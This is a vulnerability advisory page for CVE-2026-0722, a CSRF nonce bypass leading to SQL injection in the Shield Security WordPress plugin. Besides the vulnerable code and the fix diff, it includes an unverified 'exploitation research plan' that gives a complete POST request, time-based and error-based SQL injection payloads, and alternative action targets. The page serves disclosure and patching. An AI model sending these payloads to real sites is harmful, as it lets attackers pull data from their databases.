CVE-2026-0722

Shield Security <= 21.0.8 - Cross-Site Request Forgery to SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
21.0.10
Patched in
1d
Time to patch

Description

The Shield Security plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 21.0.8. This is due to the plugin allowing nonce verification to be bypassed via user-supplied parameter in the 'isNonceVerifyRequired' function. This makes it possible for unauthenticated attackers to execute SQL injection attacks, extracting sensitive information from the database, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=21.0.8
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginwp-simple-firewall

What Changed in the Fix

Changes introduced in v21.0.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0722 (Shield Security Nonce Bypass to SQLi) ## 1. Vulnerability Summary The Shield Security plugin (up to 21.0.8) contains a vulnerability where the core `ActionRouter` mechanism allows for a total bypass of CSRF (nonce) protection. This occurs in `src/lib/src…

Show full research plan

Exploitation Research Plan: CVE-2026-0722 (Shield Security Nonce Bypass to SQLi)

1. Vulnerability Summary

The Shield Security plugin (up to 21.0.8) contains a vulnerability where the core ActionRouter mechanism allows for a total bypass of CSRF (nonce) protection. This occurs in src/lib/src/ActionRouter/Actions/BaseAction.php, specifically within the isNonceVerifyRequired() method.

The method checks a user-controlled parameter action_overrides to decide whether to skip nonce verification. By setting a specific key (is_nonce_verify_required) to false in the request, an attacker can disable the nonce check for any action. When this bypass is applied to actions that perform unsafe database queries, it results in a CSRF-to-SQL Injection vulnerability, allowing attackers to manipulate or extract data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: shield_action
  • Action Slug: audit_trail_table_data (or any action that handles database-backed tables).
  • Vulnerable Parameter: action_data[action_overrides][is_nonce_verify_required]
  • SQLi Parameter: action_data[table_data][order][0][dir] (commonly vulnerable in Shield's DataTables implementations).
  • Authentication: Required (Subscriber or higher, typically Administrator for sensitive data extraction). The "unauthenticated" aspect in the description refers to the ability to bypass the nonce check without possessing a valid nonce, but the target action still enforces capability checks (e.g., manage_options).

3. Code Flow

  1. Entry: A POST request is sent to admin-ajax.php?action=shield_action.
  2. Routing: The ActionRouter identifies the target action class via the action_slug parameter.
  3. Initialization: The action class is instantiated, and BaseAction::__construct() populates $this->action_data from the request body.
  4. Access Check: BaseAction::process() calls checkAccess().
  5. Bypass Logic: checkAccess() calls isNonceVerifyRequired().
    • isNonceVerifyRequired() (Line 99 of BaseAction.php) returns the value of action_overrides[is_nonce_verify_required].
    • If the attacker provides action_data[action_overrides][is_nonce_verify_required]=0, the method returns false.
  6. Verification Skip: The condition if ( $this->isNonceVerifyRequired() && !ActionNonce::VerifyFromRequest() ) (Line 94) evaluates to false, skipping ActionNonce::VerifyFromRequest().
  7. Sink: The action's exec() method is called. For AuditTrailTableAction, it processes sorting parameters and passes them to a database query builder, which may lack proper sanitization for the order direction (ASC/DESC).

4. Nonce Acquisition Strategy (Bypass)

The vulnerability is a nonce bypass. No valid nonce is required.

  • Override Key: The Constants::ACTION_OVERRIDE_IS_NONCE_VERIFY_REQUIRED identifier corresponds to the string is_nonce_verify_required.
  • Mechanism: The attacker simply includes action_data[action_overrides][is_nonce_verify_required]=0 in the POST body to satisfy the conditional check in BaseAction::isNonceVerifyRequired().

5. Exploitation Strategy

We will perform a time-based blind SQL injection via a CSRF-style request.

Step 1: Prove Nonce Bypass (CSRF)

Send a request to a sensitive action without a nonce but with the override. If the response is not a 403 Invalid Nonce, the bypass works.

Step 2: SQL Injection (Time-based)

We target the audit_trail_table_data action, which is used to render the activity logs.

Payload:

  • Action: shield_action
  • Action Slug: audit_trail_table_data
  • Override: action_data[action_overrides][is_nonce_verify_required]=0
  • SQLi: We inject into the dir parameter of the sorting array.

HTTP Request (Action Router):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=shield_action&action_slug=audit_trail_table_data&action_data[action_overrides][is_nonce_verify_required]=0&action_data[table_data][order][0][column]=1&action_data[table_data][order][0][dir]=ASC AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

6. Test Data Setup

  1. Plugin Installation: Install Shield Security <= 21.0.8.
  2. Audit Trail: Ensure the "Logging" (Audit Trail) module is enabled in Shield settings (it is usually enabled by default).
  3. Administrator Session: The exploit agent must have a valid Administrator session cookie to perform the CSRF against the manage_options restricted action.

7. Expected Results

  • Success (Vulnerable): The server takes ~5 seconds to respond.
  • Failure (Patched): The server responds immediately with a 403 Forbidden or Invalid Action Nonce error because the is_nonce_verify_required override is no longer respected from user input in 21.0.10.

8. Verification Steps

  1. Response Time: Confirm the delay in http_request matches the SLEEP() duration.
  2. Audit Log Check: Use WP-CLI to confirm the action was attempted:
    wp shield audit_trail --limit=5
    
  3. Database State: Confirm the SQLi can extract data (e.g., database version):
    # Payload for version extraction (Error-based if display_errors is on)
    # ...dir=ASC AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,VERSION(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    

9. Alternative Approaches

If audit_trail_table_data is unavailable, target:

  • Action Slug: render_ip_analysis
  • Action Slug: render_scans_results
  • Payload: If SLEEP is blocked by the Shield Firewall, use a boolean-based injection by manipulating the order column index and observing the sort order of the returned JSON data.

Note on CSRF Execution: Since this is a CSRF-to-SQLi, the http_request must include the Admin's cookies. In a real-world scenario, the attacker would host an auto-submitting HTML form on their site and trick the admin into visiting it. For the PoC, direct authenticated requests using the http_request tool suffice to demonstrate the vulnerability of the endpoint.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Shield Security plugin for WordPress is vulnerable to a nonce bypass in its ActionRouter mechanism, which allows attackers to disable CSRF protection by including a specific override parameter in the request. This bypass can be leveraged by unauthenticated attackers to execute SQL injection attacks via forged requests (CSRF) targeting administrative actions that handle database queries, such as audit trail rendering.

Vulnerable Code

// src/lib/src/ActionRouter/Actions/BaseAction.php

	/**
	 * @throws InvalidActionNonceException
	 * @throws IpBlockedException
	 * @throws SecurityAdminRequiredException
	 * @throws UserAuthRequiredException
	 */
	protected function checkAccess() {
		// ... (truncated)
		if ( $this->isNonceVerifyRequired() && !ActionNonce::VerifyFromRequest() ) {
			throw new InvalidActionNonceException( 'Invalid Action Nonce Exception.' );
		}
	}

---

// src/lib/src/ActionRouter/Actions/BaseAction.php

	protected function isNonceVerifyRequired() :bool {
		return (bool)( $this->getActionOverrides()[ Constants::ACTION_OVERRIDE_IS_NONCE_VERIFY_REQUIRED ] ?? self::con()->this_req->wp_is_ajax );
	}

	protected function getActionOverrides() :array {
		return $this->action_data[ 'action_overrides' ] ?? [];
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-simple-firewall/21.0.9/src/lib/src/ActionRouter/Actions/BaseAction.php /home/deploy/wp-safety.org/data/plugin-versions/wp-simple-firewall/21.0.10/src/lib/src/ActionRouter/Actions/BaseAction.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-simple-firewall/21.0.9/src/lib/src/ActionRouter/Actions/BaseAction.php	2026-01-12 14:09:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-simple-firewall/21.0.10/src/lib/src/ActionRouter/Actions/BaseAction.php	2026-01-13 13:33:30.000000000 +0000
@@ -154,14 +154,10 @@
 	 * @return self For method chaining
 	 */
 	public function setActionOverride( string $overrideKey, $value ) :self {
-		// Initialize action_overrides array if it doesn't exist
-		if ( !isset( $this->action_data[ 'action_overrides' ] ) ) {
-			$this->action_data[ 'action_overrides' ] = [];
-		}
-
-		// Set the override value
-		$this->action_data[ 'action_overrides' ][ $overrideKey ] = $value;
-
+		$this->action_data[ 'action_overrides' ] = \array_merge(
+			\is_array( $this->action_data[ 'action_overrides' ] ?? null ) ? $this->action_data[ 'action_overrides' ] : [],
+			[ $overrideKey => $value ]
+		);
 		return $this;
 	}

Exploit Outline

The exploit targets the Shield Security ActionRouter by bypassing CSRF protection and injecting malicious SQL into table-sorting parameters. 1. **Endpoint**: The attack hits `wp-admin/admin-ajax.php?action=shield_action`. 2. **Nonce Bypass**: The attacker includes the parameter `action_data[action_overrides][is_nonce_verify_required]=0` in a POST request. The `BaseAction::isNonceVerifyRequired()` method reads this directly from user input and returns `false`, causing the router to skip `ActionNonce::VerifyFromRequest()`. 3. **SQL Injection Sink**: The attacker targets an action that processes database-backed tables, such as `audit_trail_table_data`. 4. **Payload**: The SQL injection is placed in the sorting direction parameter: `action_data[table_data][order][0][dir]`. An attacker can use a time-based blind payload (e.g., `ASC AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`). 5. **Authentication**: While the bypass allows unauthenticated nonce validation, the target action still requires an active session with appropriate privileges (e.g., `manage_options`). Therefore, the attack is typically executed as a CSRF, where a logged-in administrator is tricked into submitting the malicious request via a cross-site link or form.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.